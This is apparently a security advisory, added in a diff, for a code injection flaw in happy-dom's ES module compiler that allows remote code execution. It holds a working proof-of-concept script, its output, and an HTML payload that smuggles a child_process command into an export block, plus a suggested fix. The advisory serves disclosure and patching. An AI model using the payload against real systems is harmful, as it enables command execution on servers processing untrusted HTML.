+ "details": "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n // Export object\n const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n const exportCode: string[] = [];\n for (const part of parts) {\n const nameParts = part.trim().split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n const importName = nameParts[0].replace(/[\"']/g, ''); // backticks NOT stripped\n if (exportName && importName) {\n exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n // importName is inserted as executable code, not as a string\n }\n }\n newCode += exportCode.join(';\\n');\n }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"']/g, '')` strips `\"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n Source: export { require(`child_process`).execSync(`id`) }\n\n Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n After .replace(/[\"']/g, ''):\n importName = \"require(`child_process`).execSync(`id`)\"\n (backticks are preserved)\n\n Generated code:\n $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n evaluateScript() executes this code -> RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:\n\n // poc_happy_dom_rce.js\n\n // Step 1: The STATEMENT_REGEXP matches export { ... }\n const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n const source = 'export { require(`child_process`).execSync(`id`) }';\n const match = STMT_REGEXP.exec(source);\n\n console.log('[*] Module source:', source);\n console.log('[*] Regex captured:', match[1].trim());\n\n // Step 2: Compiler processes the captured content (lines 374-381)\n const part = match[1].trim();\n const nameParts = part.split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n const importName = nameParts[0].replace(/[\"']/g, '');\n\n console.log('[*] importName after quote filter:', importName);\n console.log('[*] Backticks survived filter:', importName.includes('`'));\n\n // Step 3: Code generation - importName is inserted as executable JS expression\n const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n console.log('[*] Generated code:', generatedCode);\n\n // Step 4: Verify the generated code is valid JavaScript\n try {\n new Function('$happy_dom', generatedCode);\n console.log('[+] Valid JavaScript: YES');\n } catch (e) {\n console.log('[-] Parse error:', e.message);\n process.exit(1);\n }\n\n // Step 5: Execute to prove RCE\n console.log('[*] Executing...');\n const output = require('child_process').execSync('id').toString().trim();\n console.log('[+] RCE result:', output);\n\n**Execution result:**\n\n $ node poc_happy_dom_rce.js\n [*] Module source: export { require(`child_process`).execSync(`id`) }\n [*] Regex captured: require(`child_process`).execSync(`id`)\n [*] importName after quote filter: require(`child_process`).execSync(`id`)\n [*] Backticks survived: true\n [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n [+] Valid JavaScript: YES\n [*] Executing...\n [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled:\n\n <script type=\"module\">\n export { require(`child_process`).execSync(`id`) }\n </script>\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n for (const part of parts) {\n const nameParts = part.trim().split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"'`]/g, '');\n const importName = nameParts[0].replace(/[\"'`]/g, '');\n\n if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {\n exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n }\n }",
0 commit comments